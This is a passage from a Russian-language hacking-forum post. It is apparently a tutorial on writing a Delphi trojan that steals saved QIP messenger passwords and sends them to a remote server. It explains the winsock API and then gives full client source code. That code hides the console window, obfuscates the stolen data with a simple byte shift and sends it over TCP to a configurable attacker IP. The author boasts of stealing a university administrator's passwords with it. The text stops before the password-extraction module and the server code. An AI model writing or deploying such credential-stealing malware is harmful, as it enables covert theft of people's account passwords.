Vortex777
Интересующийся
- Регистрация
- 27.06.2022
- Сообщения
- 98
- Реакции
- 0
- Гарант продажи
- 0
- Гарант покупки
- 0
- Депозит
- 0 р
.:: [0] Введение::.
Написать статью решил потому что РЕАЛЬНО ЗАДРАЛИ ТЕМЫ ПРО ПИНЧА и подобных народных троев… Хотя бы один раз в неделю кто-то спросит - а как же всё таки его настроить!! И ничего как видно не помогает ни минусики к репе, ни предложения сконфигурировать троя за wmz
Так вот я попытаюсь в доходчивой форме рассказать как можно написать маленького скудненького в возможностях но СВОЕГО троя, который будет тырить сохранённые пароли из QiP’а. Отправка будет осуществляться на прямой ip что в принципе не безопасно (могут найти и настучать по голове) - но в ознакомительной форме и для некоторых задач он прокатит. (Мною он был с успехом применён в университетской локалке для угона пассов с компа препода-админа =) ).
И так мы уже определисиль, что трой будет состоять из двух частей : (1) Сервер и (2) Сам трой. Трой не будет прописываться ни в реестр ни в автозапуск (если захотите сами сделаете – инфы море), а просто при запуске отсылает пароли (и/или другую конфиденциальную информацию это уже что прикрутите сверху) на сервер который должен быть включён и настроен к работе. Писать мы будем на Делфи.
.:: [1] Немного теории (а куда ж без неё)::.
И так писать мы будем с использованием winsock api – так что про всякие закладки панели инструментов со всякими новомодными компонентами забываем сразу – написаный с их помощью код принесёт нам 600 кб – классненький трой получается =)). А так мы достигнем малого веса и вообще писать на низком уровне даёт большую гибкость да и научишься большему
:: function wsastartup(wversionrequired: word; var wsdata: twsadata): integer; stdcall;
Функция сообщает ОС, что в любом процессе приложения могут быть использованы функции winsock. Функция должна быть вызвана один раз при запуске приложения перед использованием любой функции winsock.
:: function wsacleanup: integer; stdcall;
Функция сообщает ОС, что приложение более не использует winsock. Должна быть вызвана в конце проги.
:: function socket(af, struct, protocol: integer): tsocket; stdcall;
Функция создает сокет.
Входящий параметр af - Тип используемой адресации –нас интересует Интернет поетому нам надо использовать PF_INET или AF_INET. Различи в типе работы : соответственно синхронная и асинхронная. Мы будем использовать синхронную работу так как она проще в реализации . =)
struct - спецификация типа нового сокета . Может принимать значения
sock_stream – для TCP (с надежным соединением)
sock_dgram- для UDP (не производящий соединений)
protocol - тип протокол, который будет использоваться сокетом.Здесь значений много. Мы будем исползовать ipproto_ip.
Если функция выполнена без ошибок, она возвращает дескриптор на новый сокет, если ошибки есть, возвращается invalid_socket.
:: function connect(s: tsocket; var name: tsockaddr; namelen: integer): integer; stdcall;
Функция соединения для клиента. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для клиента необходимо привести из имени или спецификации ip4 - xxx.xxx.xxx.xxx).Для тестинга будем использовать 127.0.0.1.
:: function bind(s: tsocket; var addr: tsockaddr; namelen: integer): integer; stdcall;
Функция биндит сокет (ассоциирует адрес и порт с сокетом). Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для сервера мы укажем inaddr_any – то есть любой).
:: function send(s: tsocket; var buf; len, flags: integer): integer; stdcall;
Посылает буфер данных сокету s длиной len. Последний параметр отвечает за вид передачи сообщения. Может быть проигнорирован (0).
:: function recv(s: tsocket; var buf; len, flags: integer): integer; stdcall;
Принимает данные от сокета s
Параметры аналогичны send, только s характеризует сокет, от которого принимаются данные
:: function listen(s:tsocket , backlog: integer);
Устанавливает сокет s в состояние ожидания подключения.
backlog - максимальное количество подключений
(можно установить в SOMAXCONN)
:: function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
Принимает попытку подключения клиента.
Возвращаемое значение - сокет клиента.
s - сокет, использованный в ф-ции listen.
Теперь перейдём к самому интересному кодингу!
.:: [2] шКОДИМ::.
И так начнём с КЛИЕНТА(то бишь троя), так как он более прост в понимании и разобраться лучше сначала с ним.
Значит создаём консольное приложении (на всякий случай напомню : New->Other…->Console Application) и убираем из него {$APPTYPE CONSOLE} для того чтобы во время запуска не выпрыгивало а потом исчезало окно шела виндовс.
Собственно код :
Код:
program Client;
uses
sysutils,
winsock,
QIP in 'QIP.pas' //модуль для выдирания паролей из QIP'a
;
type
Tconf = record
ip: string;
port: integer;
end;
var config : Tconf;
vwsadata : twsadata;
vsocket : tsocket;
vsockaddr : tsockaddr;
function Set_config(const ip:string='127.0.0.1'; port : word=133):boolean; // функуия установки настроек;
begin // по дефалту работаем на локалхосте с портом 133
config.ip:=ip;
config.port:=port;
end;
function CreateSocket():boolean;
begin
Result:=false;
if wsastartup($101,vwsadata)<>0 then halt(1); // указывает что мы будем юзать winsock'ы
vsocket := socket(af_inet,sock_stream,ipproto_ip); // создаём сокет
if vsocket = invalid_socket then halt(1); //проверочка... =)
fillchar(vsockaddr,sizeof(tsockaddr),0); //
vsockaddr.sin_family := af_inet; //устанавливаем тип семейства используемой адресации
vsockaddr.sin_port := htons(config.port); // устанавливаем порт
vsockaddr.sin_addr.s_addr := inet_addr(Pchar(config.ip)); // устанавливаем ip севака..
if connect(vsocket,vsockaddr,sizeof(tsockaddr)) = socket_error then halt(1); //коннектимся к нашему севваку для передачи данных..
Result:=true;
end;
function DestroySocket():boolean; // закрываем сокеты
begin
Result:=false;
closesocket(vsocket);
wsacleanup;
Result:=true;
end;
function CryptData(str: string):string; // Для того что бы данные не передавались
// вообще открыто применим простенькое шифрование
var i,n: integer;
cr_str : string;
begin
result:='';
n:=length(str);
cr_str:='';
for i:=1 to n do
begin
cr_str:=cr_str+Char(Byte(str[i])+12); // криптуем увеличив значение каждого символа на 12
end;
result:=cr_str;
end;
function SendData(send_string: string):boolean; // Посылаем нашему серверу инфу.
var s : string;
begin
Result:=false;
s:=CryptData(send_string); // криптуем
send(vsocket,s[1],length(s)+1,0); // отсылаем
Result:=true;
end;
begin
Set_config(); //задаём настройки (используем настройки по дефалту )
CreateSocket; //создаём все сокеты
SendData(OutString); // отправляем данные -OutString - это функция из модуля QiP'a
DestroySocket; //убиваем сокеты
end.
Как видите для выдирания пасса я использовал чуть изменённую библиотеку из проги QPRv1.61. Её код: